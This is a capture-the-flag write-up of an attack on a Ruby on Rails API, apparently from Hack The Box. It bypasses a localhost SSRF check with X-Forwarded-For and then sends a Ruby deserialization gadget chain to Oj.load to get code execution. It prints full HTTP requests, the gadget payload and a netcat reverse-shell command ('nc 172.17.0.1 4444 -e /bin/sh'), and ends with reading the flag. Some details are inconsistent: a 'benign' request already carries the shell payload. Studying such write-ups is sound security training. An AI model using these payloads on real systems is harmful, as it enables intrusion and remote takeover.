The healthcheck method is the crux. Its anti-SSRF check resolves request.ip and compares against ["127.0.0.1", "::1", "0.0.0.0"], then calls Oj.load(request.body.read) on attacker-controlled JSON. Snyk flags this exact pattern:

redwave-api/app/controllers/users_controller.rb
def healthcheck
        requester_ips =  Socket.getaddrinfo(request.ip, "http", nil)
        anti_ssrf = ["127.0.0.1", "::1", "0.0.0.0"]
        for ip in requester_ips do
            if (ip & anti_ssrf).any?
                render json: '{"success":0, "message":"Bad Request"}'
                return
            end
        end
        # Load complex class definitions
        Oj.load(request.body.read)
        render json: '{"success":1, "message":"Bad Request"}'
    end

The relevant versions, from the Gemfile:

From application / Gemfile:
ruby "3.1.1"
gem "rails", "7.0.2.3"

Ruby version:ruby 3.1.1p18 (2022-02-18 revision 53f5fc4236) [x86_64-linux-musl]
Rails version: 7.0.2.3

Oj (“Optimized JSON”) is a fast JSON parser and object marshaller for Ruby. Because Oj.load (in its default mode) can instantiate arbitrary Ruby objects from JSON, it behaves like Ruby’s Marshal and is susceptible to gadget-chain RCE. A quick sanity check of how Oj round-trips objects:

irb
require 'oj'
h = { 'one' => 1, 'array' => [ true, false ] }
json = Oj.dump(h)
/tmp $ irb
irb(main):001:0> require 'oj'
=> true
irb(main):002:0> h = { 'one' => 1, 'array' => [ true, false ] }
irb(main):003:0> json = Oj.dump(h)
=> "{\"one\":1,\"array\":[true,false]}"

Bypassing the anti-SSRF check

The admin SSRF posts a {"url":..., "body":...} to the backend. The anti_ssrf list only blocks 127.0.0.1, ::1, and 0.0.0.0, but request.ip honors the X-Forwarded-For header. By setting X-Forwarded-For: 127.0.1.1 and pointing the SSRF at http://127.0.1.1:3000/user/healthcheck, the resolved IP is in 127.x.x.x but is not the blocked 127.0.0.1 — so the check passes while still hitting localhost. First a harmless test body:

POST /admin HTTP/1.1
Host: localhost:1337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:1337/admin
Content-Type: application/json
Origin: http://localhost:1337
Content-Length: 92
Connection: close
Cookie: session=eyJhdXRoIjoiZXlKaGJHY2lPaUpJVXpJMU5pSXNJblI1Y0NJNklrcFhWQ0o5LmV5SjFjMlZ5Ym1GdFpTSTZJblJsYzNRaUxDSmxlSEFpT2pFMk9UQXdPRFkxTkRWOS5VOFZaSV9SdWNCWTYyVW1OSFVZTDNTcUk0d0hiNWhoeHJOei1nMWlRVGRNIn0.ZLxYMQ.011VtlXVW_4wAlj7zU1yvgkprlw; __wzd85872c73336b56575cc9=1690065782|ecb1b92ba805; jwt=eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly8xMjcuMC4wLjE6MTMzNy9wcm92aWRlci9qd2tzLmpzb24iLCJ0eXAiOiJKV1QifQ.eyJ1c2VybmFtZSI6ImxlYW4iLCJhY2NvdW50X3R5cGUiOiJtb2RlcmF0b3IifQ.bVYJjp4i9nZvHP9c1SKob1Z0jxYAaa_5poYWOnjdkMCk-K346qTFghL2jrz9v414kzLaZ6UXhobVDaOMQnf6JcYrmNUMc9pferDNDob_bNTqvicJzl_sCHTxv0eQXGqh4a6_ItaF3VWZjIlLC5VW8gZTdSyn2mvi3WpMYt7H2xXpS8-oaenrz2-lLFWwZaQX_kuwXVu1g28H7WNrk4gfW-qOoYpc88E97YVmtGzD8bN0bGwBVNtX3F-azY06F4V4rWomKhmSCsSsv8PeEO_mNE7-soiaQ473SyZ1NBYePtMGjU7Ilv8mtUD29qU6ygshvP_8xpFdrmmAO00btY18kg; session_token=26cb3b98-46e5-413e-bb1e-d31da4bbce54
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Forwarded-For: 127.0.1.1

{"url":"http://127.0.1.1:3000/user/healthcheck","body":"{}"}
{"url":"http://127.0.1.1:3000/user/healthcheck","body":"{\"one\":1,\"array\":[true,false]}"}

The gadget chain

With the SSRF reaching Oj.load, we drop in a known Ruby deserialization gadget chain. This is the modified Maini/Jaiswal chain documented in Bishop Fox’s Ruby Vulnerabilities: Exploiting Dangerous Open, Send and Deserialization Operations, which works in Oj’s JSON format under Ruby 3.1.1p18 / Rails 7.0.2.3. It ends in a Sprockets::ERBProcessor evaluating an ERB template, giving arbitrary command execution: Oj’s default mode honors the ^o (instantiate object) and ^c (resolve class) directives in the JSON, wiring together the stdlib/Rails classes so that the Sprockets::ERBProcessor’s :data field — <%= system('...') %> — is evaluated during deserialization. Pretty-printed:

{\"^#1\":[[{\"^c\":\"Gem::SpecFetcher\"},{\"^o\":\"Gem::Installer\"},{\"^o\":\"Gem::Requirement\",\"requirements\":{\"^o\":\"Gem::Package::TarReader\",\"io\":{\"^o\":\"Net::BufferedIO\",\"io\":{\"^o\":\"Gem::Package::TarReader::Entry\",\"read\":2,\"header\":\"bbbb\"},\"debug_output\":{\"^o\":\"Logger\",\"logdev\":{\"^o\":\"Rack::Response\",\"buffered\":false,\"body\":{\"^o\":\"Set\",\"hash\":{\"^#2\":[{\"^o\":\"Gem::Security::Policy\",\"name\":{\":filename\":\"/tmp/xyz.txt\",\":environment\":{\"^o\":\"Rails::Initializable::Initializer\",\"context\":{\"^o\":\"Sprockets::Context\"}},\":data\":\"<%= system('touch /tmp/rce10b.txt') %>\",\":metadata\":{}}},true]}},\"writer\":{\"^o\":\"Sprockets::ERBProcessor\"}}}}}}],\"dummy_value\"]}

First, confirm code execution with a benign touch /tmp/rce10b.txt. The gadget is embedded as the escaped body value sent through the SSRF:

POST /admin HTTP/1.1
Host: localhost:1337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:1337/admin
Content-Type: application/json
Origin: http://localhost:1337
Content-Length: 797
Connection: close
Cookie: session=eyJhdXRoIjoiZXlKaGJHY2lPaUpJVXpJMU5pSXNJblI1Y0NJNklrcFhWQ0o5LmV5SjFjMlZ5Ym1GdFpTSTZJblJsYzNRaUxDSmxlSEFpT2pFMk9UQXdPRFkxTkRWOS5VOFZaSV9SdWNCWTYyVW1OSFVZTDNTcUk0d0hiNWhoeHJOei1nMWlRVGRNIn0.ZLxYMQ.011VtlXVW_4wAlj7zU1yvgkprlw; __wzd85872c73336b56575cc9=1690065782|ecb1b92ba805; jwt=eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly8xMjcuMC4wLjE6MTMzNy9wcm92aWRlci9qd2tzLmpzb24iLCJ0eXAiOiJKV1QifQ.eyJ1c2VybmFtZSI6ImxlYW4iLCJhY2NvdW50X3R5cGUiOiJtb2RlcmF0b3IifQ.bVYJjp4i9nZvHP9c1SKob1Z0jxYAaa_5poYWOnjdkMCk-K346qTFghL2jrz9v414kzLaZ6UXhobVDaOMQnf6JcYrmNUMc9pferDNDob_bNTqvicJzl_sCHTxv0eQXGqh4a6_ItaF3VWZjIlLC5VW8gZTdSyn2mvi3WpMYt7H2xXpS8-oaenrz2-lLFWwZaQX_kuwXVu1g28H7WNrk4gfW-qOoYpc88E97YVmtGzD8bN0bGwBVNtX3F-azY06F4V4rWomKhmSCsSsv8PeEO_mNE7-soiaQ473SyZ1NBYePtMGjU7Ilv8mtUD29qU6ygshvP_8xpFdrmmAO00btY18kg; session_token=26cb3b98-46e5-413e-bb1e-d31da4bbce54
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Forwarded-For: 127.0.1.1

{"url":"http://127.0.1.1:3000/user/healthcheck","body":"{\"^#1\":[[{\"^c\":\"Gem::SpecFetcher\"},{\"^o\":\"Gem::Installer\"},{\"^o\":\"Gem::Requirement\",\"requirements\":{\"^o\":\"Gem::Package::TarReader\",\"io\":{\"^o\":\"Net::BufferedIO\",\"io\":{\"^o\":\"Gem::Package::TarReader::Entry\",\"read\":2,\"header\":\"bbbb\"},\"debug_output\":{\"^o\":\"Logger\",\"logdev\":{\"^o\":\"Rack::Response\",\"buffered\":false,\"body\":{\"^o\":\"Set\",\"hash\":{\"^#2\":[{\"^o\":\"Gem::Security::Policy\",\"name\":{\":filename\":\"/tmp/xyz.txt\",\":environment\":{\"^o\":\"Rails::Initializable::Initializer\",\"context\":{\"^o\":\"Sprockets::Context\"}},\":data\":\"<%= system('nc 172.17.0.1 4444 -e /bin/sh') %>\",\":metadata\":{}}},true]}},\"writer\":{\"^o\":\"Sprockets::ERBProcessor\"}}}}}}],\"dummy_value\"]}"}

The backend returns a 500 with a large error body, but the gadget still fires before the error path:

HTTP/1.1 200 OK
Date: Mon, 24 Jul 2023 01:12:48 GMT
Content-Type: text/plain; charset=utf-8
Connection: close
Content-Length: 16700

{"status":500,"error":"Internal Server Error", ...[snip]...

Verifying the marker file proves RCE — rce10b.txt was created in /tmp by the www user:

/tmp $ ls -la
drwxr-xr-x    1 root     root          4096 Jul 23 19:49 ..
-rw-r--r--    1 www      www              0 Jul 24 01:12 rce10b.txt

Going from RCE to a shell

Swapping the benign command for a reverse shell — changing system('touch /tmp/rce10b.txt') to system('nc 172.17.0.1 4444 -e /bin/sh') — turns the gadget into an interactive shell back to our listener:

POST /admin HTTP/1.1
Host: localhost:1337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:1337/admin
Content-Type: application/json
Origin: http://localhost:1337
Content-Length: 805
Connection: close
Cookie: session=eyJhdXRoIjoiZXlKaGJHY2lPaUpJVXpJMU5pSXNJblI1Y0NJNklrcFhWQ0o5LmV5SjFjMlZ5Ym1GdFpTSTZJblJsYzNRaUxDSmxlSEFpT2pFMk9UQXdPRFkxTkRWOS5VOFZaSV9SdWNCWTYyVW1OSFVZTDNTcUk0d0hiNWhoeHJOei1nMWlRVGRNIn0.ZLxYMQ.011VtlXVW_4wAlj7zU1yvgkprlw; __wzd85872c73336b56575cc9=1690065782|ecb1b92ba805; jwt=eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly8xMjcuMC4wLjE6MTMzNy9wcm92aWRlci9qd2tzLmpzb24iLCJ0eXAiOiJKV1QifQ.eyJ1c2VybmFtZSI6ImxlYW4iLCJhY2NvdW50X3R5cGUiOiJtb2RlcmF0b3IifQ.bVYJjp4i9nZvHP9c1SKob1Z0jxYAaa_5poYWOnjdkMCk-K346qTFghL2jrz9v414kzLaZ6UXhobVDaOMQnf6JcYrmNUMc9pferDNDob_bNTqvicJzl_sCHTxv0eQXGqh4a6_ItaF3VWZjIlLC5VW8gZTdSyn2mvi3WpMYt7H2xXpS8-oaenrz2-lLFWwZaQX_kuwXVu1g28H7WNrk4gfW-qOoYpc88E97YVmtGzD8bN0bGwBVNtX3F-azY06F4V4rWomKhmSCsSsv8PeEO_mNE7-soiaQ473SyZ1NBYePtMGjU7Ilv8mtUD29qU6ygshvP_8xpFdrmmAO00btY18kg; session_token=26cb3b98-46e5-413e-bb1e-d31da4bbce54
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Forwarded-For: 127.0.1.1

{"url":"http://127.0.1.1:3000/user/healthcheck","body":"{\"^#1\":[[{\"^c\":\"Gem::SpecFetcher\"},{\"^o\":\"Gem::Installer\"},{\"^o\":\"Gem::Requirement\",\"requirements\":{\"^o\":\"Gem::Package::TarReader\",\"io\":{\"^o\":\"Net::BufferedIO\",\"io\":{\"^o\":\"Gem::Package::TarReader::Entry\",\"read\":2,\"header\":\"bbbb\"},\"debug_output\":{\"^o\":\"Logger\",\"logdev\":{\"^o\":\"Rack::Response\",\"buffered\":false,\"body\":{\"^o\":\"Set\",\"hash\":{\"^#2\":[{\"^o\":\"Gem::Security::Policy\",\"name\":{\":filename\":\"/tmp/xyz.txt\",\":environment\":{\"^o\":\"Rails::Initializable::Initializer\",\"context\":{\"^o\":\"Sprockets::Context\"}},\":data\":\"<%= system('nc 172.17.0.1 4444 -e /bin/sh') %>\",\":metadata\":{}}},true]}},\"writer\":{\"^o\":\"Sprockets::ERBProcessor\"}}}}}}],\"dummy_value\"]}"}

Flag

With a netcat listener waiting, the gadget connects back and we read the flag as the www user.

$ nc -nlvp 4444
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.3:44599.
id
uid=1000(www) gid=1000(www) groups=1000(www)
cat /app/api/flag.txt
HTB{F4K3_FL4G_F0R_T3ST1NG!}

image